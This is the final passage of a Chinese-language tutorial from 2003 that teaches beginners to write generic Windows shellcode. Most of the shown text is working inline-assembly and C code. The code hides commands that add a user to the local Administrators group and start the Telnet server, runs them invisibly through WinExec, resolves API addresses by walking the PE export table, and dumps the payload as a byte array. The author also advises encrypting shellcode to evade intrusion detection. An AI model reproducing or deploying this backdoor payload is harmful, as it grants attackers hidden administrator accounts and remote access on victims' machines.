_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用斷點
//6,執行命令新建用戶,如果權限夠就將用戶加入Administrators,再開啓標準的Telnet服務
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
    我們已經引入了一些常用的KERNEL API和WINSOCK API,可以在這裏進行更深入的
開發(比如我們可以使用WinSock自己實現一個Telnet服務端).
*/
API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤

__asm
{
/*
子程序FindApi,由我前面講解的GetFunctionByName修改得到
入口參數:
   ImageBase:DLL基址
   FuncName:需要查找的引出函數名
   flen:引出函數名長度,在不會出現重複的情況下可以比引出函數名短一點
   Count:引出函數地址索引起始,通常應該把它設爲0.
出口參數:
   如果查找則成功Eax返回有效的函數地址,否則返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數名稱指針數組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函數個數NumberOfFunctions設置最大查找次數
FindLoop:
push ecx//使用一個小技巧,使用程序循環更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則爲找到函數,注意這裏的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數不是指定的函數則查找下一個
add esp,4//如果查找成功,則清除用於控制外層循環而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數地址表
shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函數索引*4)
add eax,Count
mov eax,[eax]//獲得函數地址相對偏移量
add eax,ImageBase//計算函數真實地址,並通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數索引
add [FunNameArray],4//下一個函數名指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數循環
loop FindLoop//如果ecx不爲0則遞減並回到FindLoop,往後查找
NotFound:
xor eax,eax//如果沒有找到,則返回0
Found:
ret
//ShellCode結束標識符
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("/t++++++++++++++++++++++++++++++++++/n");
printf("/t+         ShellCode Demo!        +/n");
printf("/t+         Code by yellow         +/n");
printf("/t+         Date:2003-12-21        +/n");
printf("/t+    Email:[email protected]  +/n");
printf("/t+    Home Page:www.safechina.net +/n");
printf("/t++++++++++++++++++++++++++++++++++/n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("/n/t");
printf("0x%0.2X,",*sc++);
}
printf("/n};/nTotal %d Bytes/r/n",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
    注意我在這裏我沒有演示ShellCode加密技術,現在的ShellCode加密大都都xor之類的操作,基本上比較簡單
,但爲了逃避"入侵檢測系統"的查殺還是應該使用比較好的加密方法,我想以後可能會寫一些相關的技術文章吧!

    Ok!已經演示了這麼多,我想你的收穫一定不小吧!俗話說的好"師傅領進門,修行在個人",ShellCode最關鍵的
技術我們已經掌握了,至於怎麼去實現一個功能豐富的ShellCode就看你自己的開發技術和經驗了!
--------------------------------------------------------------------------------------------------

最後
  當我初學ShellCode編寫技術時,對於沒有能讓初學者入門的ShellCode教程可以參考而感到煩惱,所以在我完成
PE和KERNEL32地址獲得方法學習後,就立刻寫了這篇文章,希望對廣大初學者有所幫助!眼看快要到聖誕節,yellow
在這裏初大家聖誕節快樂,永遠開心,永遠年輕!願中國的安全技術更上一層樓!

4,參考資料.
  <MSDN>
  <Windows 核心編程>
  <Windows 95系統程序設計大奧祕>
  <Win32Asm Programming>
5,關鍵字:
  通用ShellCode,黑客編程技術,PE引出表,KERNEL32.DLL地址,結構化異常處理,SEH,溢出,overflow,中華安全網
                                                                  By yellow from www.safechina.net
                                                                                  2003年12月21日晚
The End.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章